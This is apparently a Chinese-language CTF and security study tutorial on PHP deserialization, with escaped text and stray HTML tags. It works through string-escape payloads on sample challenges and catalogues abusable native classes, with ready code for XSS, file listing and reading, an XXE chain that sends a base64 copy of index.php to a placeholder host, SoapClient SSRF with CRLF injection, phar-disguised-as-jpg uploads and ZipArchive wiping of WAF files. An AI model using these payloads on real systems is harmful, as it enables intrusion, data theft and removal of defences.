\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u8fd9\u4e00\u7279\u70b9\uff0c$v1\u5403\u6389\u539f\u672c\u7684\u7ed3\u6784\u540e\uff0c\u6211\u4eec\u7d27\u63a5\u7740\u5728$v2\u7684\u5f00\u5934\u6784\u9020\u4e00\u4e2a\u65b0\u7684\u7ed3\u6784\u4ee3\u7801\uff0cPHP \u5c31\u4f1a\u628a\u6211\u4eec\u7684\u6076\u610f\u4ee3\u7801\u5f53\u4f5c\u5408\u6cd5\u7684\u7ed3\u6784\u53bb\u89e3\u6790$v1\u5403\u6389\u539f\u672c\u7684\u7ed3\u6784\u540e\uff0c\u6211\u4eec\u7d27\u63a5\u7740\u5728$v2\u7684\u5f00\u5934\u6784\u9020\u4e00\u4e2a\u65b0\u7684\u7ed3\u6784\u4ee3\u7801\uff0c\u8986\u76d6\u6389\u539f\u672c\u7684$v2\uff0cPHP\u5c31\u4f1a\u628a\u6211\u4eec\u7684\u6076\u610f\u4ee3\u7801\u5f53\u4f5c\u5408\u6cd5\u7684\u7ed3\u6784\u53bb\u89e3\u6790<\/p>\n\n\n\n
\u4f8b\u5982\u6211\u4eec\u91cd\u65b0\u5199\u4e00\u4e2a$v2\u7684\u503c<\/p>\n\n\n\n
;s:2:\"v2\";s:6:\"hacked\";}<\/code><\/pre>\n\n\n\n
\u5f00\u5934\u7684 ; \u662f\u4e3a\u4e86\u95ed\u5408 $v1\uff0c\u524d\u9762\u63d0\u5230\u8fc7php\u5728\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u5e95\u5c42\u4ee3\u7801\u662f\u4ee5;\u4f5c\u4e3a\u5b57\u6bb5\u7684\u5206\u9694<\/p>\n\n\n\n
s:2:”v2″;s:6:”hacked”; \u662f\u6211\u4eec\u8981\u8986\u76d6\u7684\u65b0\u5c5e\u6027\u548c\u503c<\/p>\n\n\n\n
} \u95ed\u5408\u6574\u4e2a\u5bf9\u8c61\uff0c\u4e22\u5f03\u540e\u9762\u539f\u672c\u7684\u5783\u573e\u6570\u636e<\/p>\n\n\n\n
\u8fd9\u4e2a Payload \u7684\u957f\u5ea6\u662f 24 \u4e2a\u5b57\u7b26<\/p>\n\n\n\n
\u5728\u6b63\u5e38\u5e8f\u5217\u5316\u4e2d\uff0c$v1 \u548c $v2 \u4e4b\u95f4\u5939\u7740\u4e00\u6bb5\u56fa\u5b9a\u7684\u7ed3\u6784\u4ee3\u7801\uff1a<\/p>\n\n\n\n
...s:N:\"[v1\u7684\u5185\u5bb9]\"; s:2:\"v2\";s:XX:\" [v2\u7684\u5185\u5bb9]...<\/code><\/pre>\n\n\n\n
\u6211\u4eec\u8981\u8ba9 $v1 \u5403\u6389\u7684\u90e8\u5206\u5c31\u662f\u8fd9\u6bb5\uff1a “;s:2:”v2″;s:XX:”<\/p>\n\n\n\n
\u56e0\u4e3a\u6211\u4eec\u7684v2 payload\u957f\u5ea6\u662f24\u4e2a\u5b57\u7b26\u6240\u4ee5\u4e2d\u95f4\u8fd9\u4e00\u6bb5\u5c31\u662f “;s:2:”v2″;s:24:”<\/p>\n\n\n\n
\u6570\u4e00\u6570\u957f\u5ea6\uff1a”;s:2:”v2″;s:24:” \u5171\u6709 16 \u4e2a\u5b57\u7b26<\/p>\n\n\n\n
\u6211\u4eec\u6765\u770b\u5230\u8fd9\u6bb5\u4ee3\u7801<\/p>\n\n\n\n
$data = str_replace(\"system()\",\"\",$data);<\/code><\/pre>\n\n\n\n
system()\u4e00\u5171\u662f\u516b\u4e2a\u5b57\u7b26\uff0c\u88ab\u66ff\u6362\u4e3a\u7a7a\uff0c\u4e5f\u5c31\u662f\u8bf4\u4e00\u4e2asystem()\u4f1a\u5403\u6389\u516b\u4e2a\u5b57\u7b26<\/p>\n\n\n\n
\u6211\u4eec\u9700\u8981\u4e24\u4e2asystem()<\/p>\n\n\n\n
\u6784\u9020payload<\/p>\n\n\n\n
$a = 'system()system()';\n$b = ';s:2:\"v2\";s:6:\"hacked\";}';<\/code><\/pre>\n\n\n\n
\u6211\u4eec\u8c03\u8bd5\u4e00\u4e0b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u521a\u521a\u4f20\u5165\u7684\u65f6\u5019\uff0cdata\u7684\u503c\u662f<\/p>\n\n\n\n
O:1:\"A\":2:{s:2:\"v1\";s:16:\"system()system()\";s:2:\"v2\";s:24:\";s:2:\"v2\";s:6:\"hacked\";}\";}<\/code><\/pre>\n\n\n\n
\u7ee7\u7eed\u6b65\u5165<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u4e2a\u65f6\u5019system()\u5df2\u7ecf\u88ab\u66ff\u6362\u4e3a\u7a7a\u4e86\uff0cdata\u7684\u503c\u662f<\/p>\n\n\n\n
O:1:\"A\":2:{s:2:\"v1\";s:16:\"\";s:2:\"v2\";s:24:\";s:2:\"v2\";s:6:\"hacked\";}\";}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
system()\u6ca1\u4e86\uff0cs:16\u4f1a\u7ee7\u7eed\u5f80\u540e\u540316\u4e2a\u5b57\u7b26\uff0c\u4e4b\u524d\u7684v2\u5c31\u88ab\u5403\u70b9\u4f5c\u4e3av1\u7684\u503c\u4e86<\/p>\n\n\n\n
\u6267\u884c\u7ed3\u679c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u770b\u5230$v2\u7684\u503c\u5df2\u7ecf\u88ab\u66ff\u6362\u6210\u4e86\u6211\u4eec\u60f3\u8981\u7684\u503c<\/p>\n\n\n\n
\u4f8b\u9898<\/h5>\n\n\n\n
\u6211\u4eec\u6765\u770b\u4e00\u9053\u4f8b\u9898<\/p>\n\n\n\n
<?php\nhighlight_file(__FILE__);\nerror_reporting(0);\nfunction filter($name){\n    $safe=array(\"flag\",\"php\");\n    $name=str_replace($safe,\"hk\",$name);\n    return $name;\n}\nclass test{\n    var $user;\n    var $pass;\n    var $vip = false ;\n    function __construct($user,$pass){\n        $this->user=$user;\n    $this->pass=$pass;\n    }\n}\n$param=$_GET['user'];\n$pass=$_GET['pass'];\n$param=serialize(new test($param,$pass));\n$profile=unserialize(filter($param));\n\nif ($profile->vip){\n    echo file_get_contents(\"flag.php\");\n}\n?><\/code><\/pre>\n\n\n\n
\u8fd9\u9053\u9898\u4f1a\u5c06user\u548cpass\u4e2d\u7684php\u8fd8\u6709flag\u66ff\u6362\u6210hk\uff0c\u5bf9\u4e8ephp\u800c\u8a00\u51cf\u5c11\u4e86\u4e00\u4e2a\u5b57\u7b26\uff0c\u5bf9\u4e8eflag\u800c\u8a00\u51cf\u5c11\u4e86\u4e24\u4e2a\u5b57\u7b26<\/p>\n\n\n\n
\u6211\u4eec\u9700\u8981\u8ba9 $profile->vip \u4e3a true\uff0c\u4f46\u662f\u7c7b\u5b9a\u4e49\u4e2d $vip \u9ed8\u8ba4\u4e3a false\uff0c\u4e14\u6784\u9020\u51fd\u6570\u53ea\u5141\u8bb8\u6211\u4eec\u8d4b\u503c $user \u548c $pass<\/p>\n\n\n\n
\u90a3\u4e48\u6211\u4eec\u9700\u8981\u6784\u9020\u4e00\u6bb5\u4ee3\u7801\uff0c\u8fd9\u6bb5\u4ee3\u7801\u5728\u88ab\u89e3\u6790\u65f6\uff0c\u4f1a\u5c06 vip \u8bbe\u4e3a true\u3002 \u56e0\u4e3a\u6211\u4eec\u6253\u7b97\u8ba9 $user \u5403\u6389\u4e2d\u95f4\u7684\u95f4\u9694\uff0c\u6240\u4ee5 $pass \u7684\u5f00\u5934\u5fc5\u987b\u914d\u5408\u95ed\u5408<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5148\u5927\u81f4\u770b\u4e00\u773c\u8fd9\u9053\u9898\u7684\u53cd\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u7ed3\u6784<\/p>\n\n\n\n
\u6211\u4eec\u8981\u5403\u6389\u7684\u90e8\u5206\u662f\uff1a”;s:4:”pass”;s:19:” 19\u4e2a\u5b57\u7b26\u4e5f\u5c31\u662f19\u4e2aphp<\/p>\n\n\n\n
\u8f93\u51faflag\u7684\u6761\u4ef6$profile->vip<\/p>\n\n\n\n
\u53ef\u4ee5\u6784\u9020payload<\/p>\n\n\n\n
\";s:3:\"vip\";b:1;s:4:\"pass\";s:3:\"666\";}<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u8865\u5145\u4e86\u4e00\u4e2as:4\u662f\u56e0\u4e3a\u5e8f\u5217\u5316\u5934\u662f\u8fd9\u6837\u751f\u6210\u7684:O:4:”test”:3:{…} \u8fd9\u91cc\u7684:3: \u662f\u4e00\u4e2a\u6b7b\u547d\u4ee4\uff0c\u610f\u5473\u7740”\u5728\u8fd9\u4e2a\u5927\u62ec\u53f7 {} \u91cc,\u5fc5\u987b\u5305\u542b3\u4e2a\u5c5e\u6027\u201c<\/p>\n\n\n\n
\u4f20\u5165\u540e<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5b57\u7b26\u88ab\u66ff\u6362\u6389\u4ee5\u540e<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
vip\u72b6\u6001<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6210\u529f\u6267\u884cif ($profile->vip){\u540e\u9762\u7684\u4ee3\u7801<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fdc\u7a0b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5b57\u7b26\u4e32\u589e\u591a<\/h4>\n\n\n\n
\u793a\u4f8b\u4ee3\u7801<\/h5>\n\n\n\n
<?php\nclass A{\n    public $v1 = 'ls';\n    public $v2 = '123';\n    public function __construct($arga,$argc){\n        $this->v1 = $arga;\n        $this->v2 = $argc;\n    }\n}\n$a = $_GET['v1'];\n$b = $_GET['v2'];\n$data =  serialize(new A($a,$b));\n$data = str_replace(\"ls\",\"pwd\",$data);\nvar_dump(unserialize($data));<\/code><\/pre>\n\n\n\n
PHP \u5728\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u662f\u4e25\u683c\u4f9d\u8d56\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u4e2d\u7684 \u957f\u5ea6\u6807\u8bc6\uff08\u5982 s:5:”value” \u4e2d\u7684 5\uff09\u6765\u5224\u65ad\u5b57\u7b26\u4e32\u5728\u54ea\u91cc\u7ed3\u675f\u7684<\/p>\n\n\n\n
\u8fd9\u6bb5\u4ee3\u7801\u4e2d\u5b58\u5728serialize\u540e\u7d27\u63a5\u7740str_replace\u7684\u64cd\u4f5c\uff0c\u4e14\u66ff\u6362\u540e\u7684\u5b57\u7b26\u4e32\u957f\u5ea6\u53d1\u751f\u4e86\u53d8\u5316\uff08\u672c\u4f8b\u4e2d ls $\\to$ pwd\uff0c\u957f\u5ea6\u7531 2 \u53d8\u4e3a 3\uff09\uff0c\u5c31\u4f1a\u5bfc\u81f4\u5b9e\u9645\u5b57\u7b26\u4e32\u5185\u5bb9\u6bd4\u957f\u5ea6\u6807\u8bc6\u6240\u8bb0\u5f55\u7684\u66f4\u957f<\/p>\n\n\n\n
\u8fd9\u5c31\u7ed9\u4e86\u653b\u51fb\u8005\u4e00\u4e2a\u673a\u4f1a\uff1a\u5229\u7528\u589e\u52a0\u51fa\u7684\u957f\u5ea6\uff0c\u5c06\u539f\u672c\u5c5e\u4e8e\u201c\u503c\u201d\u7684\u4e00\u90e8\u5206\u5185\u5bb9\u6324\u51fa\u53bb\uff0c\u4f7f\u5176\u88ab\u53cd\u5e8f\u5217\u5316\u89e3\u6790\u5668\u8bc6\u522b\u4e3a\u7ed3\u6784\u4ee3\u7801\uff08\u5982\u5c5e\u6027\u540d\u6216\u5bf9\u8c61\u7ed3\u675f\u7b26\uff09\uff0c\u4ece\u800c\u7be1\u6539\u5bf9\u8c61\u7684\u5c5e\u6027\u3002<\/p>\n\n\n\n
\u8fd9\u9053\u9898\u4e2d\u539f\u59cb\u5b57\u7b26\uff1als\u662f\u4e24\u4e2a\u5b57\u7b26 \u66ff\u6362\u6210\u4e86pwd\u5c31\u662f3\u4e2a\u5b57\u7b26 \u5dee\u503c\u4e3a1<\/p>\n\n\n\n
\u6211\u4eec\u8981\u901a\u8fc7\u63a7\u5236 $v1 \u7684\u8f93\u5165\uff0c\u6765\u63a7\u5236 $v2 \u7684\u503c\uff0c\u4f8b\u5982\u5c06 $v2 \u7684\u503c\u4ece\u9ed8\u8ba4\u7684 123 \u4fee\u6539\u4e3a hacked<\/p>\n\n\n\n
\";s:2:\"v2\";s:6:\"hacked\";}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6211\u4eec\u6784\u9020\u51fa\u6765\u7684payload\u957f\u5ea6\u4e3a25\uff0c\u90a3\u4e48\u6211\u4eec\u8981\u5728\u524d\u9762\u52a0\u4e0a25\u4e2als<\/p>\n\n\n\n
lslslslslslslslslslslslslslslslslslslslslslslslsls\";s:2:\"v2\";s:6:\"hacked\";}<\/code><\/pre>\n\n\n\n
\u7ed9v1\u8d4b\u503c\u540e<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5b57\u7b26\u4e32\u66ff\u6362\u540e<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6210\u529f\u9003\u9038\uff0c\u5c06hacked\u8d4b\u503c\u7ed9\u4e86$v2<\/p>\n\n\n\n
\u4f8b\u9898<\/h5>\n\n\n\n
<?php\nfunction filter($name){\n    $safe=array(\"flag\",\"php\");\n    $name=str_replace($safe,\"hack\",$name);\n    return $name;\n}\nclass test{\n    var $user;\n    var $pass='daydream';\n    function __construct($user){\n        $this->user=$user;\n    }\n}\n$param=$_GET['param'];\n$param=serialize(new test($param));\n$profile=unserialize(filter($param));\n\nif ($profile->pass=='escaping'){\n    echo file_get_contents(\"flag.php\");\n}\n?><\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u4f1a\u5c06php[3\u5b57\u7b26]\u66ff\u6362\u6210hack[4\u5b57\u7b26]\uff0c\u5dee\u503c\u4e3a1<\/p>\n\n\n\n
\u8fd9\u91cc\u8f93\u51faflag\u7684\u6761\u4ef6\u662f$profile->pass==’escaping’<\/p>\n\n\n\n
\u6211\u4eec\u751f\u6210\u4e00\u4e2apayload<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\";s:4:\"pass\";s:8:\"escaping\";}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u957f\u5ea6\u4e3a29\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u9700\u8981\u8f93\u516529\u4e2aphp<\/p>\n\n\n\n
\u53cd\u5e8f\u5217\u5316\u7ed3\u679c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fc7\u6ee4\u66ff\u6362<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
<\/p>\n\n\n\n
\u6210\u529f\u89e6\u53d1$profile->pass==’escaping’\u540e\u9762\u7684\u4ee3\u7801<\/p>\n\n\n\n
\u8fdc\u7a0b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
php\u5e38\u89c1\u539f\u751f\u7c7b\u603b\u7ed3<\/h3>\n\n\n\n
\u63a2\u6d4b\u539f\u751f\u7c7b<\/h4>\n\n\n\n
\u8fd9\u6bb5\u4ee3\u7801\u53ef\u4ee5\u63a2\u6d4b\u5f53\u524dphp\u73af\u5883\u52a0\u8f7d\u7684\u539f\u751f\u7c7b<\/p>\n\n\n\n
<?php\n$Phantom = get_declared_classes();\nforeach ($Phantom as $Phantom1) {\n    $Phantom2 = get_class_methods($Phantom1);\n    foreach ($Phantom2 as $Phantom3) {\n        if (in_array($Phantom3, array('__destruct', '__toString', '__wakeup', '__call', '__callStatic'))) {\n            print $Phantom1 . '::' . $Phantom3 . \"\\n\";\n        }\n    }\n}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5e38\u7528\u53ef\u5229\u7528\u539f\u751f\u7c7b\u5217\u8868<\/h4>\n\n\n\n
Exception\/Error\u7cfb\u5217\uff1aException, Error, ErrorException, \u5404\u7c7bRuntimeException\n\u6587\u4ef6\u64cd\u4f5c\u7c7b\uff1aDirectoryIterator, FilesystemIterator, SplFileObject, GlobIterator\nXML\u5904\u7406\u7c7b\uff1aSimpleXMLElement\nWeb\u670d\u52a1\u7c7b\uff1aSoapClient\n\u538b\u7f29\u7c7b\uff1aZipArchive\n\u65e5\u671f\u65f6\u95f4\u7c7b\uff1aDateTime, DateInterval\n\u53cd\u5c04\u7c7b\uff1aReflectionClass, ReflectionMethod<\/code><\/pre>\n\n\n\n
XSS\uff08Error\/Exception\uff09<\/h4>\n\n\n\n
XSS Payload\u6784\u9020<\/h5>\n\n\n\n
\u6d89\u53ca\u7c7b\uff1a<\/strong><\/p>\n\n\n\n
Error<\/code> (PHP 7+)<\/p>\n\n\n\n
Exception<\/code> (PHP 5\/7)<\/p>\n\n\n\n
\u4ee5\u53ca\u4f60\u5217\u8868\u4e2d\u7684\u5b50\u7c7b\uff1aParseError<\/code>, TypeError<\/code>, ArgumentCountError<\/code>, ArithmeticError<\/code>, DivisionByZeroError<\/code><\/p>\n\n\n\n
<?php\n\/\/ \u57fa\u7840XSS Payload\n$Phantom = new Error(\"<script>alert('Error')<\/script>\");\n$Phantom1 = new Exception(\"<img src=x onerror=alert('Exception')>\");\n\necho \"Error Payload: \" . serialize($Phantom) . \"\\n\";\necho \"Exception Payload: \" . serialize($Phantom1);\n<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6587\u4ef6\u76ee\u5f55\u904d\u5386<\/h4>\n\n\n\n
\u6d89\u53ca\u7c7b\uff1a<\/strong><\/p>\n\n\n\n
DirectoryIterator<\/code><\/p>\n\n\n\n
FilesystemIterator<\/code><\/p>\n\n\n\n
GlobIterator<\/code><\/p>\n\n\n\n
\u5229\u7528\u539f\u7406\uff1a<\/strong> \u8fd9\u4e9b\u7c7b\u5b9e\u73b0\u4e86\u8fed\u4ee3\u5668\u63a5\u53e3\uff0c\u914d\u5408 PHP \u7684 glob:\/\/<\/code> \u4f2a\u534f\u8bae\uff0c\u53ef\u4ee5\u67e5\u627e\u5e76\u8f93\u51fa\u6587\u4ef6\u540d\u3002<\/p>\n\n\n\n
DirectoryIterator<\/code> \/ FilesystemIterator<\/code>: \u9700\u8981\u914d\u5408 glob:\/\/<\/code> \u534f\u8bae\u6765\u5339\u914d\u901a\u914d\u7b26\u3002<\/p>\n\n\n\n
GlobIterator<\/code>: \u81ea\u5e26 Glob \u6a21\u5f0f\u5339\u914d\uff0c\u4e0d\u9700\u8981\u4f2a\u534f\u8bae\u3002<\/p>\n\n\n\n
DirectoryIterator \/ FilesystemIterator (\u914d\u5408 glob \u534f\u8bae)<\/h5>\n\n\n\n
<?php\n$Phantom = new DirectoryIterator(\"glob:\/\/\/*\");\nforeach ($Phantom as $Phantom1) {\n    \/\/ \u80fd\u591f\u904d\u5386\u8f93\u51fa\u6240\u6709\u5339\u914d\u7684\u6587\u4ef6\u540d\n    echo $Phantom1 . \"\\n\";\n}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
GlobIterator (\u81ea\u5e26\u6a21\u5f0f\u5339\u914d)<\/h5>\n\n\n\n
<?php\n\/\/ \u67e5\u627e\u76ee\u5f55\u4e0b\u540d\u5b57\u5305\u542b flag \u7684\u6587\u4ef6\n$Phantom = new GlobIterator(\"*flag*\");\nforeach ($Phantom as $Phantom1) {\n    echo $Phantom1 . \"\\n\";\n}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6587\u4ef6\u5185\u5bb9\u8bfb\u53d6 (SplFileObject)<\/h4>\n\n\n\n
\u6d89\u53ca\u7c7b\uff1a<\/strong><\/p>\n\n\n\n
SplFileObject<\/code><\/p>\n\n\n\n
SplTempFileObject<\/code> (\u8f83\u5c11\u7528\uff0c\u4f46\u539f\u7406\u7c7b\u4f3c)<\/p>\n\n\n\n
\u5229\u7528\u539f\u7406\uff1a<\/strong>SplFileObject<\/code> \u662f\u4e3a\u6587\u4ef6\u63d0\u4f9b\u9762\u5411\u5bf9\u8c61\u63a5\u53e3\u7684\u7c7b\u3002\u5b83\u5141\u8bb8\u5c06\u6587\u4ef6\u5f53\u4f5c\u5bf9\u8c61\u6765\u5904\u7406\uff0c\u53ef\u4ee5\u76f4\u63a5\u904d\u5386\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\u3002\u8fd9\u5728\u65e0\u6cd5\u4f7f\u7528 file_get_contents<\/code> \u4f46\u80fd\u53cd\u5e8f\u5217\u5316\u8be5\u7c7b\u65f6\u975e\u5e38\u6709\u7528\u3002<\/p>\n\n\n\n
\u654f\u611f\u6587\u4ef6\u8bfb\u53d6<\/h5>\n\n\n\n
<?php\n$Phantom = new SplFileObject('C:\/Windows\/System32\/drivers\/etc\/hosts');\n\/\/ \u904d\u5386\u8bfb\u53d6\u6bcf\u4e00\u884c\nforeach ($Phantom as $Phantom1) {\n    echo $Phantom1;\n}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
XXE (XML \u5916\u90e8\u5b9e\u4f53\u6ce8\u5165)<\/h4>\n\n\n\n
\u6d89\u53ca\u7c7b\uff1a<\/strong><\/p>\n\n\n\n
SimpleXMLElement<\/code><\/p>\n\n\n\n
\u5229\u7528\u539f\u7406\uff1a<\/strong>SimpleXMLElement<\/code> \u7528\u4e8e\u89e3\u6790 XML\u3002\u5176\u6784\u9020\u51fd\u6570\u7684\u7b2c\u4e09\u4e2a\u53c2\u6570 data_is_url<\/code> \u5982\u679c\u8bbe\u7f6e\u4e3a true<\/code>\uff0c\u4e14\u7cfb\u7edf\u5f00\u542f\u4e86\u5916\u90e8\u5b9e\u4f53\u52a0\u8f7d\uff08\u9700\u8981\u914d\u5408 LIBXML_NOENT<\/code> \u5e38\u91cf\uff09\uff0c\u5219\u53ef\u4ee5\u53d1\u8d77\u5916\u90e8\u8bf7\u6c42\uff0c\u9020\u6210 XXE \u6216 SSRF\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8bfb\u6587\u4ef6<\/h5>\n\n\n\n
evil.xml
<\/p>\n\n\n\n
<?xml version=\"1.0\"?>  \n<!DOCTYPE ANY[  \n<!ENTITY % remote SYSTEM \"http:\/\/xxx.xxx.xxx.xxx\/send.xml\">  \n%remote;  \n%all;  \n%send;  \n]><\/code><\/pre>\n\n\n\n

send.xml
<\/p>\n\n\n\n
<!ENTITY % file SYSTEM \"php:\/\/filter\/read=convert.base64-encode\/resource=index.php\">  \n<!ENTITY % all \"<!ENTITY &#x25; send SYSTEM 'http:\/\/xxx.xxx.xxx.xxx\/send.php?file=%file;'>\"><\/code><\/pre>\n\n\n\n

send.php
<\/p>\n\n\n\n
<?php   \nfile_put_contents(\"result.txt\", $_GET['file']) ;  \n?><\/code><\/pre>\n\n\n\n

\u6076\u610f\u4ee3\u7801
<\/p>\n\n\n\n
$x=new SimpleXMLElement(\"http:\/\/xxx.xxx.xxx.xxx\/evil.xml\",2,true);<\/code><\/pre>\n\n\n\n
SSRF (SoapClient)<\/h4>\n\n\n\n
\u6d89\u53ca\u7c7b\uff1a<\/strong><\/p>\n\n\n\n
SoapClient<\/code><\/p>\n\n\n\n
\u5229\u7528\u539f\u7406\uff1a<\/strong> \u5229\u7528 SoapClient<\/code> \u7684 __call<\/code> \u65b9\u6cd5\u3002\u5f53\u8c03\u7528\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u65b9\u6cd5\u65f6\uff0c__call<\/code> \u4f1a\u6839\u636e\u6784\u9020\u51fd\u6570\u4e2d\u5b9a\u4e49\u7684 location<\/code> \u53d1\u9001\u4e00\u4e2a SOAP \u8bf7\u6c42\uff08HTTP POST\uff09\u3002<\/p>\n\n\n\n
\u57fa\u7840 SSRF<\/h5>\n\n\n\n
<?php\n$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http:\/\/127.0.0.1:6888\/'));\n$b = serialize($a);\necho $b;\n$c = unserialize($b);\n$c->not_exists_function();<\/code><\/pre>\n\n\n\n
CRLF \u6ce8\u5165<\/h5>\n\n\n\n
<?php\n$target = 'http:\/\/127.0.0.1:6888';\n$post_string = 'token=ly0n';\n$headers = array(\n    'X-Forwarded-For: 127.0.0.1',\n    );\n$b = new SoapClient(null,array('location' => $target,'user_agent'=>'ly0n^^Content-Type: application\/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => \"aaab\"));\n\n$aaa = serialize($b);\n$aaa = str_replace('^^',\"\\r\\n\",$aaa);\n$aaa = str_replace('&','&',$aaa);\necho $aaa;\n\n$c = unserialize($aaa);\n$c->not_exists_function();\n?><\/code><\/pre>\n\n\n\n
\u53cd\u5e8f\u5217\u5316\u94fe\u8df3\u677f (Phar \u5bb6\u65cf)<\/h4>\n\n\n\n
\u6d89\u53ca\u7c7b\uff1a<\/strong><\/p>\n\n\n\n
Phar<\/code><\/p>\n\n\n\n
PharData<\/code><\/p>\n\n\n\n
PharFileInfo<\/code><\/p>\n\n\n\n
PharException<\/code><\/p>\n\n\n\n
\u5229\u7528\u539f\u7406\uff1a<\/strong> \u8fd9\u4e9b\u7c7b\u5728\u4f60\u7684\u5217\u8868\u4e2d\u4e3b\u8981\u662f\u6709 __destruct<\/code> \u548c __wakeup<\/code>\u3002 \u867d\u7136\u5b83\u4eec\u672c\u8eab\u4e0d\u76f4\u63a5\u63d0\u4f9b\u201c\u8bfb\u6587\u4ef6\u201d\u6216\u201c\u6267\u884c\u547d\u4ee4\u201d\u7684\u529f\u80fd\uff0c\u4f46 Phar<\/code> \u5f52\u6863\u6587\u4ef6\u5728\u88ab\u6587\u4ef6\u7cfb\u7edf\u51fd\u6570\uff08\u5982 file_exists<\/code>, is_dir<\/code>, file_get_contents<\/code> \u7b49\uff09\u901a\u8fc7 phar:\/\/<\/code> \u4f2a\u534f\u8bae\u89e3\u6790\u65f6\uff0c\u4f1a\u81ea\u52a8\u53cd\u5e8f\u5217\u5316<\/strong>\u5f52\u6863\u5185\u90e8\u7684 Metadata\u3002<\/p>\n\n\n\n
\u8fd9\u610f\u5473\u7740\uff1a\u5982\u679c\u4f60\u63a7\u5236\u4e86\u6587\u4ef6\u540d\u53c2\u6570\uff0c\u4f46\u627e\u4e0d\u5230 unserialize()<\/code> \u51fd\u6570\uff0c\u4f60\u53ef\u4ee5\u4e0a\u4f20\u4e00\u4e2a\u4f2a\u9020\u7684 .phar<\/code> \u6587\u4ef6\uff08\u53ef\u4ee5\u6539\u540d\u4e3a .jpg<\/code>\uff09\uff0c\u7136\u540e\u5229\u7528 phar:\/\/.\/upload\/Phantom.jpg<\/code> \u53bb\u89e6\u53d1\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u3002<\/p>\n\n\n\n
ZipArchive \u7c7b\u5229\u7528 (\u6587\u4ef6\u5220\u9664)<\/h4>\n\n\n\n
ZipArchive::open<\/code> \u65b9\u6cd5\u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570\u82e5\u8bbe\u7f6e\u4e3a ZipArchive::OVERWRITE<\/code> (\u5e38\u91cf\u503c\u4e3a8)\uff0c\u4f1a\u8986\u76d6\uff08\u6e05\u7a7a\/\u5220\u9664\uff09\u6307\u5b9a\u6587\u4ef6\u3002\u5e38\u7528\u4e8e\u5220\u9664WAF\u6587\u4ef6 (.htaccess<\/code> \u6216 waf.php<\/code>)<\/p>\n\n\n\n
<?php\n$Phantom = new ZipArchive();\n$Phantom->open('1.txt', 8);\necho serialize($Phantom);<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
session\u53cd\u5e8f\u5217\u5316<\/h3>\n\n\n\n
seeion\u53cd\u5e8f\u5217\u5316\uff0c\u9664\u4e86\u5165\u53e3\u4e0epayload\u683c\u5f0f\u6709\u533a\u522b\u4ee5\u5916\uff0c\u5176\u4ed6\u7684\u90fd\u4e0e\u666e\u901a\u53cd\u5e8f\u5217\u5316\u5dee\u4e0d\u591a<\/p>\n\n\n\n
PHP Session \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u7684\u672c\u8d28\u5dee\u5f02\u5728\u4e8e\uff1a\u5199\u5165 Session \u6570\u636e\u65f6\u4f7f\u7528\u7684\u5e8f\u5217\u5316\u5f15\u64ce<\/strong>\u4e0e\u8bfb\u53d6 Session \u6570\u636e\u65f6\u4f7f\u7528\u7684\u53cd\u5e8f\u5217\u5316\u5f15\u64ce<\/strong>\u4e0d\u4e00\u81f4\u3002<\/p>\n\n\n\n
